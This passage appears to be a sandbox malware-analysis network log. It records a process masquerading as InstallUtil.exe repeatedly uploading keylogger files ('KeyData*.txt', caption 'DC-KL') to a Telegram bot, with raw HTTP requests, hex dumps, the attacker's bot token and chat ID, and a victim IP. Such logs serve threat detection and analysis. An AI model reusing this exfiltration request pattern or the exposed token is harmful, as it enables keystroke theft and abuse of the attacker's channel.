2024-11-15 08:11:35 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 4b 55 42 73 73 4c 53 69 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 33 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 33 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 33 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataKUBssLSi.txt"Content-Type: application/octet-stream[03:11:31]<<Program Manager>>[03:11:31]<<Program Manager>>[03:11:31]<<Program Mana
2024-11-15 08:11:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:35 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:35 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 32 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 4b 55 42 73 73 4c 53 69 Data Ascii: {"ok":true,"result":{"message_id":5110,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658295,"document":{"file_name":"KeyDataKUBssLSi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49983	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:38 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:38 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 77 67 55 47 5a 6e 78 6e 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 33 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 33 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 33 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDatawgUGZnxn.txt"Content-Type: application/octet-stream[03:11:34]<<Program Manager>>[03:11:34]<<Program Manager>>[03:11:35]<<Program Mana
2024-11-15 08:11:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:38 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:38 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 32 39 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 77 67 55 47 5a 6e 78 6e Data Ascii: {"ok":true,"result":{"message_id":5111,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658298,"document":{"file_name":"KeyDatawgUGZnxn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49984	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:41 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:41 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 4e 47 42 54 77 51 45 5a 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 33 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 33 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 33 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataNGBTwQEZ.txt"Content-Type: application/octet-stream[03:11:37]<<Program Manager>>[03:11:37]<<Program Manager>>[03:11:37]<<Program Mana
2024-11-15 08:11:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:41 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:41 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 33 30 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 4e 47 42 54 77 51 45 5a Data Ascii: {"ok":true,"result":{"message_id":5112,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658301,"document":{"file_name":"KeyDataNGBTwQEZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49985	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:43 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:43 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 4f 50 56 42 76 41 63 77 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataOPVBvAcw.txt"Content-Type: application/octet-stream[03:11:40]<<Program Manager>>[03:11:40]<<Program Manager>>[03:11:40]<<Program Mana
2024-11-15 08:11:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:44 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:44 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 33 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 4f 50 56 42 76 41 63 77 Data Ascii: {"ok":true,"result":{"message_id":5113,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658304,"document":{"file_name":"KeyDataOPVBvAcw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49986	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:46 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:46 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 69 53 46 70 5a 77 4f 66 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataiSFpZwOf.txt"Content-Type: application/octet-stream[03:11:43]<<Program Manager>>[03:11:43]<<Program Manager>>[03:11:43]<<Program Mana
2024-11-15 08:11:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:46 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:46 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 33 30 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 69 53 46 70 5a 77 4f 66 Data Ascii: {"ok":true,"result":{"message_id":5114,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658306,"document":{"file_name":"KeyDataiSFpZwOf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49987	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:49 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:49 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 76 42 4d 5a 69 51 78 69 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 36 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDatavBMZiQxi.txt"Content-Type: application/octet-stream[03:11:45]<<Program Manager>>[03:11:45]<<Program Manager>>[03:11:46]<<Program Mana
2024-11-15 08:11:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:49 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:49 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 33 30 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 76 42 4d 5a 69 51 78 69 Data Ascii: {"ok":true,"result":{"message_id":5115,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658309,"document":{"file_name":"KeyDatavBMZiQxi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49988	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:11:52 UTC	554	OUT	POST /bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendDocument?chat_id=7546472414&caption=DC-KL:::user-PC\user\173.254.250.89 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-15 08:11:52 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 50 63 4a 65 45 57 43 66 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 38 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 38 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 33 3a 31 31 3a 34 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataPcJeEWCf.txt"Content-Type: application/octet-stream[03:11:48]<<Program Manager>>[03:11:48]<<Program Manager>>[03:11:49]<<Program Mana
2024-11-15 08:11:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 15 Nov 2024 08:11:52 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-15 08:11:52 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 31 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 32 34 30 37 37 32 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 6e 61 6b 65 2d 72 65 73 75 6c 74 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 6d 6f 6e 65 79 36 37 37 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 35 34 36 34 37 32 34 31 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 65 73 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 31 36 35 38 33 31 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 44 61 74 61 50 63 4a 65 45 57 43 66 Data Ascii: {"ok":true,"result":{"message_id":5116,"from":{"id":7824077250,"is_bot":true,"first_name":"snake-results","username":"donmoney677bot"},"chat":{"id":7546472414,"first_name":"Best","type":"private"},"date":1731658312,"document":{"file_name":"KeyDataPcJeEWCf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49989	149.154.167.220	443	8124	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
